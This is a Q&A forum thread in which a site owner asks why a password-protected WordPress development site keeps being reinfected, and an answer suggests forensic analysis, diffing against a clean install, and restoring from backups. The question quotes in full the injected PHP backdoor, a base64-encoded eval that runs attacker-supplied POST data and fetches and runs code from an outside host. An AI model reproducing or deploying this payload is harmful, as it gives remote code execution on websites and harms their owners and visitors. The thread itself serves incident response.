Reputation: 163
I am working on a WordPress site that is getting infected by malware every x weeks, but we can't find what is causing the issue. Some background information:
The website is on a separate development domain that is password protected. During the development we've updated the software when updates were available. What happens is that after a random number of weeks we get redirected to spam sites when we try to access the website. The website itself becomes really slow at the first visit, after that the speed is reasonable again. We only have 1 admin account and a few editors working on the website to transfer the content. So only a handful of trusted people have access to the site.
Our hosting company screens/scans for malware, but seems to be too late to prevent the cause.
We only have a handful of plugins installed that all seem legit. A list below:
All the plugins and WordPress itself are updated to their latest available version all the time.
We've installed the tagDiv Newspaper theme version 10.0, but had the issues with previous versions as well. On each re-install of the WordPress site we've deleted all files and the whole database AND asked the hosting company to double check for files that we missed. We have other sites running on the same server without any problem so the problem seems to limit itself to the dev/wordpress site. During each clean up we've resetted all relevant passwords (database, ftp). tagDiv Newspaper themes seem to have been a target multiple times for malware injection so that is a red flag. Unfortunately a lot of work has already been done that changing theme would be problematic, plus I am not 100% it's the theme that is causing issues.
After infection all *.php files have this extra php code at the top of each .php file:
<?php /*8968665*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KCi8vaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CiRjb250ZXh0X2poa2IgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoCmFycmF5KCdodHRwJz0+YXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAnMTUnLAogICAgICAgICAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOVxyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIiwKICAgICAgICAgICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLAogICAgICAgICAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gIlJFTV9SRU09JzEnIi4kZGF0YV9uZmRoCikpKTsKJHZrZnU9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIsIGZhbHNlICwkY29udGV4dF9qaGtiKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307CiB9CiB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*8968665*/ ?><?php
As far as I could tell the database seems to be untouched.
In the root of the website the directory pl is created with filenames PayPAl2019.zip and many subfolders which seem to handle some sort of payments. IP references in files that I could find point to ip : ^64.106.213.* which belong to DataPipe, Inc.
Files that are created in the root of the WordPress directory are 588eqpn7.php, u9hwrd7d.php and shell.php . This last file is recognized as a trojan by any virusscanner: Trojan:Script/Casur.A!cl.
Some of the date stamps of the files are weird too. Eg 2018, but the development site did not exists back then?
I have limited ssh access to the server, but no permission to execute some of the needed commands to dig deeper.
The questions I have are:
Upvotes: 1
Views: 660
Reputation: 8371
It's difficult to get a feeling what exactly is going on from just what you're telling. Depending on the password-protection and your setup some scenarios are more likely than others. If you use e.g. a basic authentication module from Apache, the attackers would have to bypass this or have access through other means (another hosting on the same machine, which might be a hint to wrongly set permissions or the hoster was compromised, etc.). If there is a an application-level password-protection (e.g. via WordPress) it might not prevent access to certain resources which are vulnerable.
The "re-infection" you describe might be due to a persistent backdoor (or a unpatched vulnerable component), so this is not easy to tell either.
Generally, if I did a forensic analysis of the installation I would start with the randomly named files and see when and with what kind of parameters they were accessed. From there I would get a hint at what the attackers did and maybe have a rough idea of the timeframe of the initial compromise. That way it would be easy to restore to a known-good backup without loosing to much time.
In such a scenario it makes sense to a) rebuild the infrastructure (or application in this case) or if available b) restore from a known-good backup. It's very alarming how many hoster do not have a working or insufficient backup and how many customers choose a low price over (data) security.
To safe time you could download a copy of the installation and rebuild a quick and dirty installation in a separate folder, then diff the two folders against each other and find the differences (these might be either from the attacker or manually configured / developed). It's a economic question on how much time you want to invest to rebuild how much of the installation. If you spent too little time and the attackers return, you're out of luck.
... also, do your backups.
Upvotes: 1